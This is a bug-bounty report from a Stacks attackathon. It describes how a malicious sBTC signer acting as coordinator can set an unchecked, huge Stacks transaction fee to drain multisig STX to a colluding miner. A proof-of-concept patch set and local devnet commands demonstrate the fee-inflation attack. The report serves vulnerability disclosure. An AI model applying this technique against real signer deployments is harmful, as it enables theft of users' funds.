#38392 [BC-High] Signer can steal STX tokens in multi-sign wallet by setting a high stacks tx fee
Submitted on Jan 2nd 2025 at 10:52:58 UTC by @f4lc0n for Attackathon | Stacks
Report ID: #38392
Report Type: Blockchain/DLT
Report severity: High
Target: https://github.com/stacks-network/sbtc/tree/immunefi_attackaton_0.9/signer
Impacts:
Direct loss of funds
Description
Brief/Intro
When a signer acts as a coordinator, it will initiate some sBTC stacks contract calls. And he can set the tx fee for these contract calls. These tx fees will be rewarded to the miners of the stacks chain.
The problem now is that signers do not check the tx fee set by the coordinator. Therefore, a malicious signer can set a very large tx fee to reward the multi-sign wallet's STX to the stacks miner. And he can cooperate with the stacks miner to steal this amount of funds.
Vulnerability Details
The signer/src/transaction_signer.rs::handle_stacks_transaction_sign_request
code is as follow.
async fn handle_stacks_transaction_sign_request(
&mut self,
request: &StacksTransactionSignRequest,
bitcoin_chain_tip: &model::BitcoinBlockHash,
origin_public_key: &PublicKey,
) -> Result<(), Error> {
let instant = std::time::Instant::now();
let validation_status = self
.assert_valid_stacks_tx_sign_request(request, bitcoin_chain_tip, origin_public_key)
.await;
metrics::histogram!(
Metrics::ValidationDurationSeconds,
"blockchain" => STACKS_BLOCKCHAIN,
"kind" => request.tx_kind(),
)
.record(instant.elapsed());
metrics::counter!(
Metrics::SignRequestsTotal,
"blockchain" => STACKS_BLOCKCHAIN,
"kind" => request.tx_kind(),
"status" => if validation_status.is_ok() { "success" } else { "failed" },
)
.increment(1);
validation_status?;
// We need to set the nonce in order to get the exact transaction
// that we need to sign.
let wallet = SignerWallet::load(&self.context, bitcoin_chain_tip).await?;
wallet.set_nonce(request.nonce);
let multi_sig = MultisigTx::new_tx(&request.contract_tx, &wallet, request.tx_fee);
let txid = multi_sig.tx().txid();
debug_assert_eq!(txid, request.txid);
let signature = crate::signature::sign_stacks_tx(multi_sig.tx(), &self.signer_private_key);
let msg = message::StacksTransactionSignature { txid, signature };
self.send_message(msg, bitcoin_chain_tip).await?;
Ok(())
}
In the above code, it does not do any check on request.tx_fee
. Therefore, a malicious signer can set any tx_fee
, and all other signers will agree to this tx_fee
.
Impact Details
It will cause signers multi-signature wallets to lose STX tokens.
If the malicious signer and miner cooperate, the malicious signer can benefit from it.
References
None
Proof of Concept
Proof of Concept
Base on: https://github.com/stacks-network/sbtc/releases/tag/0.0.9-rc4
Patch
signer/src/config/mod.rs
, add attacker flag config/// The minimum bitcoin block height for which the sbtc signers will /// backfill bitcoin blocks to. pub sbtc_bitcoin_start_height: Option<u64>, + /// @audit; + pub audit_this_signer_is_attacker: Option<bool>, } impl Validatable for SignerConfig {
Patch
signer/src/main.rs
, load attacker flag); // Load the configuration file and/or environment variables. - let settings = Settings::new(args.config)?; + let mut settings = Settings::new(args.config)?; + std::thread::sleep(std::time::Duration::from_millis(2000)); // wait for the `docker logs` command + settings.signer.audit_this_signer_is_attacker = match std::env::var("AUDIT_THIS_SIGNER_IS_ATTACKER") { + Ok(value) => Some(value.parse::<bool>().unwrap()), + _ => Some(false), + }; + tracing::info!("@audit; audit_this_signer_is_attacker: {:?}", settings.signer.audit_this_signer_is_attacker); signer::metrics::setup_metrics(settings.signer.prometheus_exporter_endpoint); // Open a connection to the signer db.
Patch
docker/docker-compose.yml
, add attacker flag- postgres-3 environment: <<: *sbtc-signer-environment + AUDIT_THIS_SIGNER_IS_ATTACKER: true SIGNER_SIGNER__DB_ENDPOINT: postgresql://postgres:postgres@postgres-3:5432/signer SIGNER_SIGNER__PRIVATE_KEY: 3ec0ca5770a356d6cd1a9bfcbf6cd151eb1bd85c388cc00648ec4ef5853fdb7401 SIGNER_SIGNER__P2P__SEEDS: tcp://sbtc-signer-1:4122,tcp://sbtc-signer-2:4122
Patch
signer/src/transaction_coordinator.rs
, add attack action// Complete deposit requests should be done as soon as possible, so // we set the fee rate to the high priority fee. - let tx_fee = self + let mut tx_fee = self .context .get_stacks_client() .estimate_fees(wallet, &contract_call, FeePriority::High) .await?; + // @audit; start + if self.context.config().signer.audit_this_signer_is_attacker.is_some_and(|x| x) { + tx_fee = tx_fee * 100000000; + tracing::info!("@audit; attacker set large tx fee, tx_fee: {:?}", tx_fee); + } + // @audit; end let multi_tx = MultisigTx::new_tx(&contract_call, wallet, tx_fee); let tx = multi_tx.tx();
Run docker
make devenv-up make devenv-down docker compose -f docker/docker-compose.yml --profile default --profile bitcoin-mempool --profile sbtc-signer build make devenv-up
This PoC sets sbtc-signer-3 as an attacker, which will automatically attack if it is the coordinator
Keep running the demo until the trigger the coordinator is sbtc-signer-3. You can observe the log of sbtc-signer-3. When
"@audit; attacker set large tx fee"
appears, it is triggered../signers.sh demo
Track the transaction initiated by sbtc-signer-3 on explorer, and you will find that it consumes a lot of STX
Last updated
Was this helpful?